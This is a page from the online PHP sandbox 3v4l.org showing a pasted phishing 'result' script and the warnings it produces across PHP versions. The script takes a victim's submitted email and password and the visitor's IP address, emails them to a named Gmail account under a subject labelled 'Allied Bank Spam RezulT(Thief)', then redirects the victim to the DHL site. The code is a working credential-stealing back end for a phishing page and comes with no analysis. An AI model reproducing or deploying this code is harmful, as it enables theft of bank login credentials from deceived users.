3v4l.org

run code in 300+ PHP versions simultaneously
<? $ip = getenv("REMOTE_ADDR"); $message .= "--------------Ali Spam ReZulT-----------------------\n"; $message .= "USERNAME : ".$_POST['email']."\n"; $message .= "Password : ".$_POST['pass']."\n"; $message .= "IP: ".$ip."\n"; $message .= "---------------Created By DAN------------------------------\n"; $recipient = "bar.marym@gmail.com"; $subject = "wang"; $headers = "From"; $headers .= $_POST['eMailAdd']."\n"; $headers .= "MIME-Version: 1.0\n"; mail("", "Allied Bank Spam RezulT(Thief)", $message); if (mail($recipient,$subject,$message,$headers)) { header("Location: http://www.dhl.com"); } else { echo "ERROR! Please go back and try again."; } ?>
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 7.1.26 - 7.1.33, 7.2.17 - 7.2.33, 7.3.0 - 7.3.31, 7.4.0 - 7.4.32, 8.0.0 - 8.0.12, 8.0.14 - 8.0.30, 8.1.0 - 8.1.31, 8.2.0 - 8.2.27, 8.3.0 - 8.3.15, 8.4.1 - 8.4.2
<? $ip = getenv("REMOTE_ADDR"); $message .= "--------------Ali Spam ReZulT-----------------------\n"; $message .= "USERNAME : ".$_POST['email']."\n"; $message .= "Password : ".$_POST['pass']."\n"; $message .= "IP: ".$ip."\n"; $message .= "---------------Created By DAN------------------------------\n"; $recipient = "bar.marym@gmail.com"; $subject = "wang"; $headers = "From"; $headers .= $_POST['eMailAdd']."\n"; $headers .= "MIME-Version: 1.0\n"; mail("", "Allied Bank Spam RezulT(Thief)", $message); if (mail($recipient,$subject,$message,$headers)) { header("Location: http://www.dhl.com"); } else { echo "ERROR! Please go back and try again."; } ?>
Output for 8.0.13
Warning: Undefined variable $message in /in/ni0l6 on line 4 Warning: Undefined array key "email" in /in/ni0l6 on line 5 Warning: Undefined array key "pass" in /in/ni0l6 on line 6 Warning: Undefined array key "eMailAdd" in /in/ni0l6 on line 13 Warning: mail(): Could not execute mail delivery program '/usr/sbin/sendmail -t -i' in /in/ni0l6 on line 15 Warning: mail(): Could not execute mail delivery program '/usr/sbin/sendmail -t -i' in /in/ni0l6 on line 16 ERROR! Please go back and try again.
Output for 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.38, 7.0.0 - 7.0.33, 7.1.0 - 7.1.25, 7.2.0 - 7.2.13, 7.4.33
Notice: Undefined variable: message in /in/ni0l6 on line 4 Notice: Undefined index: email in /in/ni0l6 on line 5 Notice: Undefined index: pass in /in/ni0l6 on line 6 Notice: Undefined index: eMailAdd in /in/ni0l6 on line 13 Warning: mail() has been disabled for security reasons in /in/ni0l6 on line 15 Warning: mail() has been disabled for security reasons in /in/ni0l6 on line 16 ERROR! Please go back and try again.
Output for 7.3.32 - 7.3.33
Warning: mail(): Could not execute mail delivery program '/usr/sbin/sendmail -t -i' in /in/ni0l6 on line 15 Warning: mail(): Could not execute mail delivery program '/usr/sbin/sendmail -t -i' in /in/ni0l6 on line 16 ERROR! Please go back and try again.

preferences:
52.64 ms | 411 KiB | 5 Q